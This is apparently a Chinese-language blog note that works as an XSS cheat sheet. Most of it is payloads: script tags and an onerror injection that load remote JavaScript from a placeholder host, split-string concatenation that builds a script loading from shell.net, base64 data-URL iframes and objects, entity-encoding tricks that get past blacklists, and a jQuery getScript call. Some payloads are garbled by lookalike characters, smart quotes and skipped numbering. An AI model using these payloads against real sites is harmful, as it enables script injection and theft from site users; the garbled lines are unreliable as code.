写的有点混乱 ,因为在写的时候我虽说看了许多文章 ,然后好多刚好要学习,就写过来了
http://www.freebuf.com/articles/web/24496.html
http://drops.wooyun.org/tips/689 XSS与字符编码
上边这两篇文章,对我帮助很大 ,希望对你有帮助
注意点 (一)
一个简单的例子
<script src=http://xxx.xxx/a.js></script>
这样更为简洁
<script src=//xxx.xxx/a.js></script>src属性会自己取当前页面的协议。
onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>(1)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)><img src=x οnerrοr=javascript:alert(1) >
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=java..省略..XSS')>
(2)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
(5)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(6) Iframe
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
(7) body
<body οnlοad="alert(1)">
某个能把字符串当做js代码来执行的函数eval() setTimeout() setInterval()
基础黑名单方式可能出现的问题:不认识 HTML5 新增的实体命名编码,如
: => [冒号] 
 => [换行] 例子:case: <a href="javasc
ript:alert(1)">click</a>我们也可以用data url 来加载。
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></object> <iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></iframe>有时候 我们可以直接调用javascript框架的函数 来实现一些功能。
比如, 支持 jquery的话(通过查看源代码,你可以看出是否支持)
我们直接这样调用就可以了$.getScript("//xxx.xxx/a.js");